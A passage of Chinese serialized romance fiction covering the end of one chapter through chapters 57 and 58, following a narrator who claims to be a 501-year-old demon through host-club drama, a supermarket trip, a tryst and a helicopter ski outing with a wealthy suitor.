“今晚的消费,算我的。”男人洒脱地掏出一张卡,塞进?旁边一位男公关?手中,与方才判若两人,“刚才是我太冲动了。” 宗朔笑?着应下,随意挥了挥手,围观的男公关?们便悄然散开。 处理完这些,男人转向那扇开了条缝的包厢,语气变得异常亲昵:“柯姨,没想到您在这儿,刚刚真是打扰了。” 房间?里传来一声温和的女声:“没事?。” “那我先走了,改天再向您赔罪。” 男人干脆地再次鞠躬,领着保镖扬长而?去,经过时,目光似是不经意地在我脸上扫过。 我倒吸一口凉气,没见过这么高傲的人,看谁都像是在鄙视,难不成眼?睛有问题? 人群散尽,宗朔抬手拍了下浦真天的肩膀。 “你先去休息吧,这里交给我。” “……好。” 浦真天仍有些木然,他碰了碰脸上的伤,本能地想下楼,但?看见我后,脚步便钉在了原地,他抿紧嘴唇,先转身回了包厢,拿了件外?套出来。 他脚步匆匆,与我擦肩而?过。 我望着他的背影,脑海中印着他颊上那片刺目的红,男人下手极重,那火辣辣的巴掌印清晰地刻在他脸上。但?打完,对方又能立刻变脸,仿佛一切从未发生。 有钱人变脸的速度,比我想象的还要快。 所以……他二姨人呢? 我正在思考时,身旁多出一道影子,薄荷气息悄然靠近。 我转头,对上宗朔垂下的视线。 “不是,”我老实说出想法,“我在想,他二姨人都不在,他发那么大火干嘛?而?且男公关?和他也没关?系吧。” 宗朔微微眯眼?,喉间?滚出一声轻哼,语气平淡:“只是做个样子而?已。” “来得快,去得也快,一点也不耽误时间?。” 他摸索着口袋,下意识想找烟,几缕过长的黑发遮住前额,被他随手撩开,露出下垂的、懒散的眼?睛,“以后该怎么样,还是怎么样。” “打浦真天,不过是家里对他二姨不满,借题发挥,闹这么一出,既出了气,又不伤自家和气。” 我还是想不明白为什么要演这么一出,人都不在场,演得倒是真,像是气势汹汹来打小三?似的。 我想起?浦真天脸上的红,不由感慨道:“应该很疼吧。” “……你可以下去安慰他。” 宗朔不轻不重地捏了下我肩膀,压低声调,“告诉他等会还得上来,今天晚上的工作还没有结束。” 我点点头。 宗朔回到包厢里,二楼的门再次紧闭,恢复以往的样子。 我往楼下走了几步,想了想,又重新回到二楼,果不其然看到哥哥推开门,表情复杂地杵在门口。 目光相接,他的手捏紧又松开,沉默地看着我。 被我抓住了吧。 我朝他眨眨眼睛,挥了挥手,这才往楼下走去。 一楼依旧暗流涌动,各种情绪交织。若有若无的视线瞟向休息室的方向,男公关?们窃窃私语,偶尔爆发出压抑不住的兴奋低笑?。 但?客人们并不关心这些插曲,场面依旧喧闹火热。 我注意到泉卓逸投来的视线,他朝我扬了扬眉毛,随即在身旁客人察觉前,低下头重新拉回对方的注意力?,坐在客人另一边的男公关?笑?容僵硬了一瞬,借喝酒掩饰过去。 泉卓逸的专业素养倒是回来了。 凭着一张脸抢回老顾客的欢心,让那些“替身”很不爽。 看着他活跃的模样,我很难和满脸泪痕、发疯自。残的人联系到一起?。 他看上去像真的治好了精神病。 我转过头,对上了一双沉静的黑眸。 麦景孤零零地坐在角落的桌边,因为无人问津,我们对视了许久也无人发现。 至少他这个月的业绩不用愁了。 我移开视线,朝着休息室走去。 推开休息室的门,我在角落里发现了用冰块敷脸的浦真天。 直到我走到面前他也没有抬起?头。 外?面热火朝天,休息室却截然相反,很安静,像是另一个世界,镜子映出无数个身影,每面镜子上方都挂着一盏橙黄色的灯,将室内照得明亮无比。 “……小冬。” 他的声音从下方传来,在空旷的休息室里回荡,像是在山谷里说话?。 “我没事?,让我一个人待一会好吗?” 我站着没动,自顾自地说:“宗朔让我告诉,等会还要上去。” “好。”他应声。 啪嗒。一滴液体砸在地板上。 不是泪,是冰块融化的水。 他的手指动了动,冰块摩擦发出干脆的声响,在寂静的房间?里回荡。 声音是会反弹的,所以大的房间?里可以听到回声。 我的脑子总是冒出无用的物理知识。 我盯着浦真天的头顶,没有离开,反而?在他旁边坐了下来,静静等待着某个时机。 一个能巧妙窥探他痛苦的时机。 如果是泉卓逸,我早就趴下去看他的表情了,但?对浦真天,我很有耐心。 冰块摩擦的声响时不时浮现,地板上的水滴越来越多,直到冰块化尽,全部?化成水。 浦真天终于抬起?头,露出通红的半张脸,巴掌印隐隐消去,他看着对面的镜子,我也看着镜子里的他。 “很丑吧。”他笑?了下,擦掉脸上的水,“一时半会还消不了。” 我歪着头看他,忽然冒出个主?意:“戴面具怎么样?感觉很酷。” 他愣了下,摇摇头笑?道:“现在太晚了,找不到面具的。” “那就把灯光调暗好了。” 我好奇地说:“如果调成和你的肤色一样,是不是就完全看不出来了?” 他认真地想了想:“有可能。” “要不然就用右边脸对着客人好了,只给她们看你的黄金右脸。” 此时我坐在他左边,说着便起?身换到他右侧,盯着他这边完好无损、轮廓分?明的脸颊称赞道:“这边完全没事?,看上去和以前一样。” 他棕色的眸子在暖黄灯光下几乎融化,像温润的蜂蜜。浦真天弯起?眼?睛,脸颊上浮现出浅浅的酒窝,温和地说:“好。” 他轻轻拍了拍我的头,语气轻快了些:“我先回去了,晚上再见。” 我看着他快步离开,那股混合着痛苦与强行振作的复杂情绪,争相从他身体里溢出。 真奇怪。我有点失望,还以为他会哭,结果什么也没发生,那浓重的情绪瞬间?又被压缩了回去。 浦真天是我见过最能忍耐的人。 他离开后,我也回到大厅,坐回原位玩手机,玩到一半,手机突然弹出消息。 [邛浚(小心诈骗)]:看看我发现了什么 [邛浚(小心诈骗)]:(照片) 我点开照片。 夜色笼罩下,一辆线条流畅的黑色轿车停在霓虹闪烁的街边,车身在灯光下泛着细腻的光泽,一看就价值不菲。 再一看,十分?眼?熟。 这不是柯觅山的车吗? [世界第?一恶魔大人]:你在尾。随他吗?有点变态 [邛浚(小心诈骗)]:哎呀 [邛浚(小心诈骗)]:你怎么能这么想我,我只是碰巧经过,碰巧看到他了 [邛浚(小心诈骗)]:你再看看背景 我再次点开图片,发现霓虹街道也越看越眼?熟。 ——这不是[极乐世界]门口吗? 柯觅山竟然尾随他妈来了? 我瞬间?皱起?脸,咦了一声。 [世界第?一恶魔大人]:柯觅山才是变态 [邛浚(小心诈骗)]:他下车了,这幅表情,啧啧啧,你一定要亲眼?看下,特别丑陋 [世界第?一恶魔大人]:你给我直播 [邛浚(小心诈骗)]:我已经飞走了 [邛浚(小心诈骗)]:赶订单去了~ 我被他说得心痒,脑筋一转,从吧台后溜出来,悄悄来到大门口。 距离大门不远的路边,停着那辆熟悉的车,但?柯觅山并不在车旁,我四处张望,不由走出大门,试图捕捉空气中那丝独特的甜姜气息。 风中隐约有一丝味道,若隐若现地引着我往前走。 在距离大门口不远的十字路口,有一座灯光下的喷泉,水光潋滟,倒映着斑斓霓虹,冷风将清晰的甜姜味送到我鼻尖。 那个穿着黑色风衣、像是乌鸦般融入黑夜的身影立在喷泉边,侧脸对着水面,晃动的光影在他脸上明灭,远远看去,竟像是泪痕。 我真以为他哭了,赶紧跑了过去,想看好戏。 结果靠近了,他转过头,那双深蓝色的眸子里闪过一丝诧异,我才发现他脸上什么也没有,表情淡薄,和晚上的风一样冷。 脸上也没有任何水光,光影从他眼?下流过,只是水的反光而?已。 “学妹。”他叫了我一声,毫无波澜地提起?唇角,“好久不见。” 我大失所望地盯着他,叹了口气,还以为真能如邛浚所说,看到他失态的样子。 结果依旧端着那副看似温和的表情,像是面具一样纹丝不动。 我假装没听见,转身想走。 “你是来看我笑?话?的吗?” 我停下脚步,疑惑地回头看他:“你哪里好笑?了。” 柯觅山的表情冷凝,偏偏嘴角带笑?,浓密的睫毛垂下,遮住了眼?底的情绪,“要不然你出来干嘛,总不是想安慰我吧。” “都不是。” 我诚实地说:“我还以为你哭了。” 他像是被逗笑?了,苍白的脸颊在黑衣衬托下更无血色:“为了这种事?哭什么,我也不是五岁小孩了。” “那你来这干嘛?” “工作上的事?。”柯觅山收起?笑?,视线投向喷泉,“而?且……你也不想知道吧。” “上次,你可是自己?错过了机会。” 语气平淡,像是在叹气般。 他明明在说中文,我却听不懂。 “那你得再等一会了。”我说,“你妈和小白脸应该要一点才会走。” “啊不。” 我想了想,慢半拍地纠正道:“是不是该说你的后爸,他手上有戒指。” 柯觅山的表情彻底冷了下来,周身气势变得凌人,五官线条如同身后冰冷的高楼般锐利,带着压迫感。 他不开心,我就开心了。 我乐呵呵地转身就走。 结果转身的那一刻,身后传来紧迫的脚步声,手腕被人抓住,将我拽了回去。 甜姜味过了甜,就变成炙热到腥辣的气息。 “你是故意的吧。” 他分?不清情绪、压低的声音在耳边响起?:“一定要让我生气吗?” “他们做什么和我没关?系,在这种地方——” 柯觅山忽然嗤笑?一声,说话?声戛然而?止,等我看清他的脸,他已经恢复成面无表情的状态。 手腕处的力?道很紧,但?转瞬即逝,轻飘飘地松开手。 “学妹,早点回去吧。”他目光沉沉地看着我,“这种地方晚上不安全。” 我在倒下讹人和破口大骂之间?,选择了故作高深,晃着手腕睨了他一眼?,淡淡地哼了声,学他绷着一张脸,高贵地转身走人。 最后也不忘留下一句意味不明的鬼话?:“在男公关?店门口,你才该小心。” 我留下冷傲的背影,脑海里回想着他瞬间?转变的表情,肯定把他气到了。 想想还不够,我又跑到二楼,拍了一张他母亲所在包厢的照片发给他。 [柯觅山(有钱)]:^^ 都发^^了,肯定生气了! 我也回复了一个^^,打算把他气死。 正如我所料,柯觅山的母亲和他后爸凌晨一点才走出[极乐世界],其他男公关?走的走,散的散,因为浦真天和宗朔谈话?,我再次等到了最后。 因为今晚发生太多事?,泉卓逸想来找我,但?是碍于麦景在旁边,他甩袖走人,手机里拼命给我弹消息,八卦劲停不下来。 哥哥对麦景的态度十分?冷淡,比起?泉卓逸还要更冷一点。 麦景跟我讲话?时,哥哥就站在旁边,冷眼?旁观。 “……我明天会迟到。” “哦。” “可以请假吗?” 我原本打算让他找宗朔,但?想起?我才是老板,于是点点头,准了。 麦景笑?了笑?,拿起?我的手,轻轻按在他脸上那块淤青上,眨了眨眼?:“今天疼了。” 哥哥的目光立刻凝聚过来,眉头拧紧。 我弹了下他的额头,说:“距离第?一你还差远了。” “我会努力?的。”他说完,朝哥哥点了下头,迈着步子离开了。 哥哥的目光晦暗不明,他帮我理了理头发,长长叹了口气:“我等会儿还有事?,你先跟浦哥回去吧。” “什么事??” 他抿了抿唇,视线落在我脚边:“不是什么大事?。” “好吧。” 我目送着他离开。 我在门口等浦真天,他出来时看见只有我一个人,愣了下。 “明子人呢?” “他有事?。” 浦真天略显犹豫地点了点头,沉默地带着我往外?走。 我们抵达搭车地点,等车到了,我观察着他的表情,发现除了脸上的红外?,和以往没有什么区别,就连身上的情绪也是,一如既往地平稳。 他真的会崩溃吗? 比卡皮巴拉还要稳诶。 我瘫倒在后座,靠在他的肩膀睡了过去。 等醒来时,我正在他的背上,和哥哥的不同,他的肩膀宽大温暖,手臂环绕在大腿,像块结实的海绵。 我闻闻嗅嗅,始终没有发现想象中浓郁的情绪,不由好奇地问:“你不伤心吗?” 他失笑?:“……没什么好伤心,有钱赚,我们都还活得好好的,为什么要伤心呢?” “我妈妈曾经告诉我,做人要懂得知足,现在已经很幸福了。” 我的便宜父母也说过,活着有吃有穿,比非洲的小孩不知道幸福多少,经过比较,只要没到最糟的地步,就是幸福的。 我更加好奇,再次提问:“被打了也不是伤心吗?因为你真的勾引他二姨了?” “没有。”他闷闷地说,“我根本没给她发过那种短信。” “她能给我打赏,我很感谢,但?我不会做那种事?,不会勾引有夫之妇,那样不道德。” “你的道德底线好高。” 我颇为沉重地说:“这个世界只有道德低的人才活得好。” 背着我的人傻笑?道:“小冬,你懂得好多。” 我:“抖音短视频告诉我的。” 就是那些讲什么厚黑学的。 浦真天笑?了起?来,胸腔震动,连同我的胸口也一起?震动,仿佛能隔着他的背,感受到那颗跳动的心脏。 我环绕着他的脖子,认真地说:“你不开心的时候一定要告诉我。” “嗯。” “那个时候肯定很稀奇。” 浦真天却愣怔失笑?:“怎么会……我平时也会伤心啊。” “什么时候?” “很多时候。” 他沉默了很久,被我赖皮地摇来摇去,才慢吞吞地张开嘴。 “知道妈妈病情的时候,一个人来大城市被室友孤立,因为医药费不得不借高利贷、不得不成为男公关?的时候,处理不好人际关?系的时候……还有明白不能和你们成为一家人的时候。” “……很多时候我都会伤心。” 他语气平淡地讲述完,轻快地吐出一口气,“但?是现在我很开心。” 我嗅了嗅,确实闻到了开心的情绪。 “你真奇怪,你好像太不自私了。” “做人要懂得自私啊。”我搬出厚黑学的那套理论,“成功的人平均每分?钟要撒六个谎。” 他又开始傻笑?:“那小冬会撒谎吗?” “会啊。” “会啊。”我来了兴致,兴致勃勃地示范,“你看好了,咳咳——” “我不喜欢钱,我一点不想要大房子,我喜欢上班,我不想天上掉馅饼,我学习特别好,我喜欢麻烦的事?情。” 我一口气说完,得意地拍拍身下的人:“你也来。” “好。” 他深深地吸了口气,半天才憋出一句:“我很会社交,我喜欢被人看不起?,我的心理素质特别强大,我生活没有一点压力?,我不想回到以前,我……我不怕犯错。” “看,撒谎很容易吧。” “嗯。” “我会教你的。” 我在他耳边说:“只要你听我的话?,之前你在电话?里说过,你要听我的话?。” 他托着我的手臂收紧了些,声音有些艰涩:“好。” 紧贴的身体心跳失序,棉花糖的气味彻底倾斜而?出,像是彻底扒开果实外?壳,品尝到温暖的、颤颤巍巍的内芯。 我满意地松开手,靠在他宽阔的背上—— 作者有话说:男人咋这么多,感觉到处都是人(……) 我想加快速度,但是又不知道怎么拉剧情,不想显得很突兀,写长篇还是太难了- =???? =???? ?( ?Д‘)? 颜文字,能看到吗? 第57章 不知怎么的, 我久违地梦到了恶魔往事,那些辛酸的、需要?四处蹭吃蹭喝的时候,时不时还要?面临窝被摧毁、疯子?来袭的日子?。 比较能产生幸福,但回忆里的苦总能比幸福停留得更久。 起床时, 心里残留着淡淡的惆怅, 让我忍不住对着床边的小熊唉声叹气。 但它一只?玩偶熊懂什么是恶魔的忧伤呢? 我来到客厅, 发现哥哥起得比往常都早,他正弯着腰,利落地拆洗沙发套,地面湿漉漉的, 反射着窗外的阳光,显然刚被彻底拖过一遍。 脚刚踩上去,哥哥就来了, 不由分说?把我挪到没?穿衣服的沙发上,让我先待在这里,等他打扫完再动?。 于是,我蹲在沙发上, 脑子?仍然浸泡在残留的梦里,直到浦真天起床,我仍然保持着被哥哥提到沙发上的姿势。 浦真天揉着惺忪睡眼,头发还有?些凌乱, 他左右看看, 便默默加入到哥哥的打扫行?列。 两个人大清早把出租屋打扫得干干净净, 一尘不染。 “……” 打扫完毕后, 房间里陷入一种奇异的安静。 我看向不远处站着的两人,一个正一丝不苟地将抹布叠成方正正,另一个则握着拖把, 目光有?些放空,空气里飘散着淡淡的尴尬。 也对,吵架完才和好。 我主动?打破沉默,放飞一只?看不见的和平鸽:“打扫完了吗?” “嗯。” 哥哥应道:“不过要?等会,等会地板干了再动?。” 我定睛一看,发现他们脚边围了一圈不太明显的圆,里面是干的,外面是湿的,所以才站着不动?。 浦真天脸上的红肿已基本散去,只?余下很淡的红痕,他握着拖把杆,视线望向我,下意识想笑,但瞥见哥哥,又立刻低下头,假装很忙地摆弄起拖把。 如果把他们丢进监狱,大概也是这幅模样。 我环视一圈,打量几乎崭新?的公寓,发现墙壁上挂着的洗脸巾空了大半。 哥哥也注意到了:“等会我去买。” “我也要?去!”我立刻举起手,兴高采烈地宣布,“我要?去大超市!有?联动?活动?,我必须去买!” 我看向浦真天,他愣了下,犹豫地说?:“……我也有?想买的东西。” 说?完,空气再度陷入沉默。 哥哥垂着眼眸,将最后一块抹布叠好,语气听不出波澜: “那一起吧。” “就当是年前大采购了。” 浦真天脸上顿时露出如释重负的笑容,凝滞的空气终于重新?流动?起来。 圆圈外的水蒸发殆尽,地面光洁如新?。 哥哥把阳台那盆植物搬了进来,说?是今天可能下雨,晚上回来怕来不及。 比起夏天刚见到时的茂盛,它掉了不少叶子?,只?有?几片绿叶还顽强地挂在枝头。 我忽然来了兴趣,好奇地问:“这是什么植物来着?” “……金钱树。”哥哥沉默片刻才回答道。 我瞪大眼睛,眨巴了下:“那岂不是不吉利?!” 一向不迷信的我,此刻果断选择了迷信。 “前几天忘收了,冻得有?点厉害。” 哥哥勉强解释道,但手里那盆植物叶子?光秃,完全不是焕发生机的模样。 我用研究的目光审视着它,忽然为最近的销量不佳找到了根源。 都是因?为它啊! “等会儿买盆新?的吧,”浦真天赶忙打圆场,“可能是烂根了。” “买仙人掌吧。” 我提出建设性意见:“那样肯定不会坏。” 金钱树什么的,非常不吉利! 哥哥点了点头,表情略带惋惜地摸了摸一根枯枝,结果那树枝“啪嗒”一声就掉了下来,他动?作?一顿,随即毫不犹豫地将整盆植物丢进了垃圾桶。 在出发去超市前,我们先整理了一遍需要?买的东西。 首先,最重要?的自然是我的联动?周边,第一次[争霸天下世界神魔之主]有?联动?活动?,联动?方是叫作?周扒皮的辣条,周边是盲袋小卡片。 我势必要?集齐所有?卡片。 就因?为昨晚知道了这个联动?,我兴奋得翻来覆去睡不着,才梦到了以前的事。 等真正迈出公寓,最后那点惆怅也被我抛到了九霄云外。 临近过年,街道上的人也多了起来,距离公寓最近的大型超市人山人海,男女老少全部涌上来了。 我眼疾手快抢到推车,愉快地奔向零食区,在一群买零食的小屁孩里找到联名辣条,一股脑全部塞进推车里。 旁边的熊孩子?瞠目结舌,追着问我为什么能买这么多。 我告诉她,我已经?成年了,想干嘛就干嘛。 她羡慕地看着我,吵着闹着要家长买同款辣条。 我挥挥手就走,不带走一片浮云。 接下来的时间,我就跟在浦真天和哥哥身后,无?聊地踩着推车滑行?。购物车很快被塞得满满当当。 在摆满年货的货架前,人群拥挤。浦真天停下脚步,望着那片热闹。 哥哥问:“要?买点寄回去吗?” 浦真天摇摇头:“不用了,邮费也贵,被知道了,肯定又要?说?我浪费钱,不如直接转钱让她们自己多买点。” “买点吧,”哥哥沉默片刻说?,“我们过年也要?用。” 最后,浦真天还是挤进人群,提了一箱红色的礼盒出来。 回去的路上,我迫不及待地开始拆卡。浦真天和哥哥一左一右地帮我整理,把重复的挑出来,多余的直接扔掉。 拆完所有?卡片,我发现缺了一张金色的卡,翻来袋子?背面看,果不其然看到0.001%爆率的提示。 我眼神有?点死了,拿起手机投诉游戏,玩了这么多年,竟然连卡片都不给我集齐,我要?未成年退款。 不对……我不是未成年了! 未成年的好处我可一点没?体会到啊。 我发了一封邮件给游戏,里面只?有?一句话:没?有?凑齐卡,我要?退游 不到一分钟,对面立马回复了。 一番急切挽留后,对方声明会将那张稀有?卡直接寄给我,并强调全球仅此一份。 达成目的后,巨大的空虚感却再次袭来。 这该死的游戏可能真的像泉卓逸说?的那样,是靠我活着的,压根没?人跟我抢周边,游戏商的邮件急切像是差点痛失父母。 连游戏也变得不好玩了。 我刷了会儿短视频,实在无?聊透顶,翻来覆去一阵后,我拍案而起,穿上外套,闪现到了宗朔家。 现在出门?,已经?没?人会追问我去哪了,只?有?背部沉默的、炙热的视线。 毕竟我也是成年人了嘛。 我必须再次申明我的真实年龄。 501岁。 无?论在恶魔界还是人类界都成年了! 抵达宗朔家时,他正埋在被子?里熟睡。我一把掀飞被子?,这人竟然裸睡,不是勾引是什么?! 躺着的人宽阔的脊背线条流畅,上面蜿蜒着大片色彩浓烈的纹身。 我蹦上床,在床上乱跳,硬是把他从梦中?吵醒。 他刚想发起床气,发现是我,登时整个人瘫倒下去,有?气无?力地说?:“又怎么了?” 我脱掉衣服,咬住他的嘴唇,用行?动?表示要?做什么。 他任由我左啃右啃,呼吸逐渐错乱,然后俯身而上,把被子?重新?捞了回来。 肌肤摩擦时带着阵阵痒意,勉强压下了心头沸腾的情绪。 等完事,我浑身汗淋淋的,宗朔摸了根烟还没?放进嘴里,便被我像乌鸦一样、迅猛精准地抢了过去。 我咬着烟朝他晃了晃,假装已经?点燃,状似惆怅地吐出不存在的烟雾。 “你最近很奇怪啊。” 他哼笑了声,懒散地靠在床头,敛眸看我:“没?事折腾我,不去泉卓逸?” 我摇头晃脑:“我怕把他折腾死。” 论泉卓逸的可持续利用,如果稍不注意就会炸掉或者碎掉,还需要?一片片重新?拼起来。 而且和他躺在一起,手脚都要?往我身上馋,黏人得人。 宗朔就不会那样,他只?会保持不近不远的距离,视线缓缓在我身上爬行?,偶尔腿换姿势的时候会碰到我。 “说?吧,到底怎么了。” 宗朔像个贴心的心理医生,等待着给我进行?精神疏导,像这种事后时间,网上说?跑友不是翻脸不认人,就是变成哲学大师。 当我看向他时,空气中?薄荷的气息愈发浓郁,几乎像要?凝结滴落。 所以,他的爱好是当心理医生。 我忍不住挑刺,反问道:“你怎么了?为什么这么精神?看到我有?事你很高兴吗?” 他挑起眉,抢走我手里的烟,咬着湿漉漉的滤嘴:“关心你还有?错了。” “你不要?太喜欢我了。”我叹了口,忍不住得意,“也不怪你,我本来就招人喜欢。” “……自恋是病。” 我踹了他一脚,又咬了他一口,他疼得直皱眉。 “喜欢你才咬你。” 宗朔盯着手臂上的咬痕看,忍不住说?:“你跟泉卓逸也是这么说?的吧,还是泉卓逸这么告诉你的。” 我知道他在想之前身上布满咬痕的时候。 这个时候被戳破谎话也不要?慌,要?理直气壮地挑衅回去。 我抱着手臂,无?奈叹气道:“为什么你们总是提起别?人?” “难不成是男人的劣根性?” 我好奇地问:“你有?吗?” 他挑起眉,咬住嘴里的滤嘴碾磨,语气促狭地说?:“要?我说?出我可是男人这句台词吗?” “你已经?说?出来了。” 宗朔啧了声:“有?点恶心。” 我瘫倒在床上,把被子?团成团,然后又打散开,宗朔的房间很乱,唯独床上物品稀少,只?有?两个枕头一床被子?。 玩完被子?,只?有?人可以玩了。 我一头倒在他的肚子?上,仰头看他:“你不会也对客人说?过这句话吧,听说?有?些人喜欢这口。” 宗朔懒散地回答:“不要?在床上提别?人。” “真无?聊啊。” “没?事可以回去上学。” “不要?——” 我又往前挪动?了点,脸贴在他的胸口上,这捏一下,那摸一下,看着他咬紧了滤嘴,呼吸紊乱,目光中?露出加深的意味。 我手指顺着他胸侧露出的一点纹边缘游走,歪着头问:“纹的时候疼吗?” 他眼睛都不眨,简短地吐出两个字:“还行?。” 我点点头,认真地建议道:“那你可以纹个我的名字吗。” “……占有?欲犯了?” 少看点小说?吧,真的伤脑子?。 但我想了想,又把他抱住,戏瘾大发,霸道地说?:“对啊,就是占有?欲,把你变成我的东西不是理所当然的吗。” 听到我的话,宗朔的胸腔震动?,断断续续地传来哼笑。 他撩起眼皮,意味不明地说?:“我可不会做别?人的备胎。” “抱歉啊,你就是我的备胎,还是跑友。” 宗朔捏住我的脸:“你吃什么变成人渣的。” 我十分坦诚地说?:“这不正常吗?” “和正常的关系为零。” “好吧。”我说?,“那你也不正常。” 能够平静地接受我的所有?要?求的人,也不是正常的人类。 从第一天起,他就不属于正常的范围。 哪有?男公关的老板会去黑网吧里打游戏啊,不应该买个电脑在办公室里玩吗? 我正思索着,头顶上方传来一声轻飘飘的话。 “真可怕啊,竟然和你成了同类。” 宗朔的眼睛微微眯起,姿态闲适,像是躺在窝里懒得动?弹,眼角泄露出几分淡淡的愉悦。 同类啊。 我脑中?浮现出另一个人的身影,我想起了柯觅山,在第一天遇见时,他也说?过类似的话。 昨天,他肯定被我气到了。 嗡嗡嗡。手机震动?两声。 正对着宗朔的视线,我拿起放在肚皮上的手机,视野中?两条消息同时弹了出来。 [霍亦瑀(超级有?钱)]:周末有?空吗 [霍亦瑀(超级有?钱)]:上次不是说?想滑雪吗 [霍亦瑀(超级有?钱)]:一起去吧 [柯觅山(有?钱)]:学妹,周末去玩游戏吧 [柯觅山(有?钱)]:是你喜欢的那个—— 作者有话说:本作者又来晚了???♀? 今天想了一遍剧情,已经迫不及待想写后半段,狗咬狗好玩啊,我要看血流成河(点头) 第58章 平静的日?子终于走到?了尽头。 我欢天喜地?宣布我将迎来更加快乐的人生, 我有预感,精彩的日?子要来了! 至于选择,我毫不犹豫地?答应了霍亦瑀。 谁要选柯觅山啊,我回复一个^^。 搞不懂他在想什么, 以为约我出去就?可以和解吗?又不是网上的东亚父母, 让出去吃饭就?能装作什么事也?没发生。 拜拜, 我有新?的富爷了! 有存款后,我想过自己跑去私人会所玩,然后知道了高级私人会所要验资才能参加,而且名额有限, 那一大块地?方全?是让有钱人消遣的,如果没人去,还是没日?没夜地?亮着。 以前我会痛斥他们?的浪费, 现在我嘿嘿加入。 我试图把哥哥拐去玩,但是他拒绝了,所以我只好一个人去享受,连同手机里其?他消息忽视得干干净净。 周末那天, 我特地?穿上厚实的棉服,为了保护脚趾,我穿上了哥哥新?买的厚袜子,他给准备衣服, 担心地?看来看去, 仍然不放心。 “那你跟我一起?去就?好了诶。” “……还是算了。”他说着, 又拿出书包给我装了几件衣服, “如果打湿了,就?换这个,有事一定要给我打电话。” “好吧。” 我整个人像颗球一样, 行动极其?缓慢,不能弯腰。 哥哥把我送到?楼下,一辆一眼就?能看出来与众不同的豪车早已等在路边。 不知道是什么牌子,但路人的反应比柯觅山来的时候更加夸张,不仅拿出手机拍照,有的人还站着旁边不肯挪动,跃跃欲试想跟里面的人搭话。 在路人的注视中,我缓慢地?挪到?车前,司机下车给我开门,哥哥把书包递给我,但我还没拿到?,司机先接了过去,礼貌地?说她来放。 车里温度很高,我才穿上的衣服又脱下了,像剥下一层壳似的,还没滑雪就?已经运动量达标。 霍亦瑀坐在对面,头发比上次短了些,看起?来像只蓄势待发的猎豹,他今天穿着炭灰色运动装,闲适自然,浅色眼眸在晨光中显得格外锐利。 他的视线穿过灰黑的玻璃,看向站在路边没动的人。 “那位是你哥哥?” 我点头:“对哦。” 等窗外的风景后移,迅速消失在车后时,他收回视线,手指抵着下巴,开玩笑说:“看来我用三分钟拿到?的资料是真?的。” 还真?有资料诶。 我兴致勃勃地?坐直身体:”资料里还写了什么?让我考考你!” 霍亦瑀挑起?一侧眉,双手交叉放在腿上,眉目清晰得近乎锋利,周身懒洋洋的,做了个请的手势。 我点点头,提出第一个问题:“我的生日?是?” “11月28号。” “我的哥哥叫什么?” “栾明。” “我家住在哪?” “以前是边河街道小?区,现在是福丰公寓。” 我忍不住哇了一声?,摸着下巴想了想,再次兴致勃勃地?问:“那我的银行卡余额呢?” 因为一年的银行服务忘记续约,现在没有短信提示,我也?不知道余额多少,没想到?他这么好用,完全?可以当银行的余额播报服务。 “还是留着隐私吧。”他哼笑了声?,手摩擦着下巴,“像这种?行为是会招来厌恶。” “谁厌恶了?” 霍亦瑀嘴边的笑意?陡然加深,显然心情愉悦,摇摇头:“当然没有人。” 我盯着他看:“你的心情很好。” “对啊。” 他坦荡地?回视,说:“见到?你我的心情就?很好。” 周身的酒味骗不了人,但绝对说不上浓烈。 我观察他的时候,他也?在观察我。 无?声?地?进行着一场动物世界最平常的社交行为,用视线嗅闻、评估、丢下诱饵。 我嗅出了极其?浓重的兴味,大概和人类研究大脚怪一样。 过了一会,车行至目的地?,不是之前的高级私人会所,而是一处宽敞空旷的平台,远远看去山脉起?伏,只有此处平整,像是特地?开凿出的。 我左顾右盼,却没看到?一点私人会所的影子,好奇地?问:“我们?不是去滑雪吗?” “先坐直升飞机。”他轻描淡写地?说。 紧接着一群工作人员打扮的人来到?我面前,领着我往更衣室走,换上厚实的、崭新?的衣服,带来的那个包完全?没有派上用场。 新?的衣服格外贴身舒适,入目所及全?是雪白的瓷砖,工作人员打扮得不像是在冬天,只要室温够足,每天都像是春天一样度过。 换好衣服后,我新?奇地?打量四周,在巨大的落地窗后看到满天的雪景,我还不知道A市有这种?地?方,远处的山丘顶着蔓延而去的白,像是和天空连成一片,山突然就?矮了。 霍亦瑀走近时,我正在新?奇地?看风景。 他换了一身厚实的运动服,黑白杠,后面还跟着拿着各种?装备的人,他昂了下头,脸庞在雪景前毫不褪色。 “走吧。” 他的视线转向不远处的停机坪,一辆直升飞机正呼呼地?转动着。 迈入室外,温度骤然降低,扇翼转动掀起狂风,像是龙振翅的动静,风胡乱地?往我脸上拍打,等反应过来时,我已经坐上直升飞机,距离地?面越来越远。 一种激动的寒冷将我包裹住,却不是让人烦恼的那种?,更像是挠痒痒似的冷,我扭来扭去,格外新?奇地?打量四周。 脚下的山脉缓慢移动,逐渐转向另一片天地?,在雪山之上,还有一栋建筑,远离于高楼大厦,突兀地?立足于雪山上,数根钢筋线连接着山顶,几辆缆车缓慢地?移动着。 我望向缆车的尽头,看到?了像银杏叶的私人会所。 “原来是可以坐缆车。” “最近才修好。”霍亦瑀说,“那上面很冷的。” 我:“没有空调吗?” 在我认知里,所有地?方都能装上空调。 “下次吧。” 他笑着说:“你下次来,说不定就?装上了。” 我点点头,继续看下面的风景。 高空总会让人感到?头晕目眩,心脏即将下坠的刺激感,如果剥开外面套着的、会飞的壳子,就?像是自己在飞一样。 下直升飞机时,我仍然回味着。 有机会还是得多飞几次,没有翅膀可以烧别人的钱。 抵达新?的建筑,又有一批新?人靠近,帮我套上滑雪的装备,穿上滑雪板时,我像只套上鞋子的猫,彻底无?法动弹了。 霍亦瑀倒是行动自如,身后跟了几个同样矫健的教练。 我僵硬地?被人拉着走,看着蜿蜒而下的雪坡,心情是惆怅的。 我想直接冲下去,但是身旁的人千万个小?心,耐心地?指导我该做什么,我在坡上颤颤巍巍地?滑行了一阵,摔了个狗吃雪。 不对!谁在操控我! 总之,我放弃了。 我要在雪地?里撒野,脱下滑雪板后,我彻底放飞了,贴在地?面也?能滑,整个滑雪场只有寥寥数人,不是围在霍亦瑀身边,就?是跟在我屁股后面。 霍亦瑀滑下去后,又乘坐着缆车上来了,抱着滑雪板看着我趴在地?上。 他问:“不想滑了?” 我躺在地?上看天空,时不时飘下几片雪花落在脸上,他心情很好地?站在我旁边,饶有兴趣地?垂头看我。 “不想学。”我耍赖皮说,“还是躺着好玩。” 说话的时候嘴里不停地?冒白雾,躺着看像在制造云朵一样,身体暖洋洋,丝毫感觉不到?冷。 “我可以躺着滑下去。” 